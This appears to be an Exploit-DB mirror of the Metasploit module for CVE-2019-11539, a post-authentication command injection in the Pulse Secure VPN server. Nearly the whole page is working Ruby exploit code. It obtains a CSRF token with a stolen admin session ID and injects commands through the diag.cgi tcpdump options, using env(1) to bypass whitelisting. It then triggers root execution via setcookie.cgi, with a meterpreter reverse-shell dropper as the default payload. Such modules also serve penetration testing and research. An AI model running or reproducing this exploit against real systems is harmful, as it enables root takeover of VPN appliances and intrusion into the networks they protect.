Pulse Secure VPN – Arbitrary Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2019-11-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47700/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::CmdStager
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Pulse Secure VPN Arbitrary Command Execution',
    'Description'=> %q{
    This module exploits a post-auth command injection in the Pulse Secure
    VPN server to execute commands as root. The env(1) command is used to
    bypass application whitelisting and run arbitrary commands.
    
    Please see related module auxiliary/gather/pulse_secure_file_disclosure
    for a pre-auth file read that is able to obtain plaintext and hashed
    credentials, plus session IDs that may be used with this exploit.
    
    A valid administrator session ID is required in lieu of untested SSRF.
    },
    'Author' => [
    'Orange Tsai', # Discovery (@orange_8361)
    'Meh Chang', # Discovery (@mehqq_)
    'wvu'# Module
    ],
    'References' => [
    ['CVE', '2019-11539'],
    ['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/'],
    ['URL', 'https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html'],
    ['URL', 'https://hackerone.com/reports/591295']
    ],
    'DisclosureDate' => '2019-04-24', # Public disclosure
    'License'=> MSF_LICENSE,
    'Platform' => ['unix', 'linux'],
    'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
    'Privileged' => true,
    'Targets'=> [
    ['Unix In-Memory',
    'Platform' => 'unix',
    'Arch' => ARCH_CMD,
    'Type' => :unix_memory,
    'Payload'=> {
    'BadChars' => %Q(&*(){}[]`;|?\n~<>"'),
    'Encoder'=> 'generic/none' # Force manual badchar analysis
    },
    'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
    ],
    ['Linux Dropper',
    'Platform' => 'linux',
    'Arch' => [ARCH_X86, ARCH_X64],
    'Type' => :linux_dropper,
    'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'}
    ]
    ],
    'DefaultTarget'=> 1,
    'DefaultOptions' => {
    'RPORT'=> 443,
    'SSL'=> true,
    'CMDSTAGER::SSL' => true
    },
    'Notes'=> {
    'Stability'=> [CRASH_SAFE],
    'Reliability'=> [REPEATABLE_SESSION],
    'SideEffects'=> [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
    'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure']
    }
    ))
    
    register_options([
    OptString.new('SID', [true, 'Valid admin session ID'])
    ])
    end
    
    def post_auth?
    true
    end
    
    def exploit
    get_csrf_token
    
    print_status("Executing #{target.name} target")
    
    case target['Type']
    when :unix_memory
    execute_command(payload.encoded)
    when :linux_dropper
    execute_cmdstager(
    flavor: :curl,
    noconcat: true
    )
    end
    end
    
    def get_csrf_token
    @cookie = "DSID=#{datastore['SID']}"
    print_good("Setting session cookie: #{@cookie}")
    
    print_status('Obtaining CSRF token')
    res = send_request_cgi(
    'method' => 'GET',
    'uri'=> diag_cgi,
    'cookie' => @cookie
    )
    
    unless res && res.code == 200 && (@csrf_token = parse_csrf_token(res.body))
    fail_with(Failure::NoAccess, 'Session cookie expired or invalid')
    end
    
    print_good("CSRF token: #{@csrf_token}")
    end
    
    def parse_csrf_token(body)
    body.to_s.scan(/xsauth=([[:xdigit:]]+)/).flatten.first
    end
    
    def execute_command(cmd, _opts = {})
    # Prepend absolute path to curl(1), since it's not in $PATH
    cmd.prepend('/home/bin/') if cmd.start_with?('curl')
    
    # Bypass application whitelisting with permitted env(1)
    cmd.prepend('env ')
    
    vprint_status("Executing command: #{cmd}")
    print_status("Yeeting exploit at #{full_uri(diag_cgi)}")
    res = send_request_cgi(
    'method'=> 'GET',
    'uri' => diag_cgi,
    'cookie'=> @cookie,
    'vars_get'=> {
    'a' => 'td', # tcpdump
    'options' => sploit(cmd),
    'xsauth'=> @csrf_token,
    'toggle'=> 'Start Sniffing'
    }
    )
    
    unless res && res.code == 200
    fail_with(Failure::UnexpectedReply, 'Could not yeet exploit')
    end
    
    print_status("Triggering payload at #{full_uri(setcookie_cgi)}")
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> setcookie_cgi
    }, 3.1337)
    
    # 200 response code, yet 500 error in body
    unless res && res.code == 200 && !res.body.include?('500 Internal Error')
    print_warning('Payload execution may have failed')
    return
    end
    
    print_good('Payload execution successful')
    
    if datastore['PAYLOAD'] == 'cmd/unix/generic'
    print_line(res.body.sub(/\s*<html>.*/m, ''))
    end
    end
    
    def sploit(cmd)
    %(-r$x="#{cmd}",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <)
    end
    
    def diag_cgi
    '/dana-admin/diag/diag.cgi'
    end
    
    def setcookie_cgi
    '/dana-na/auth/setcookie.cgi'
    end
    
    end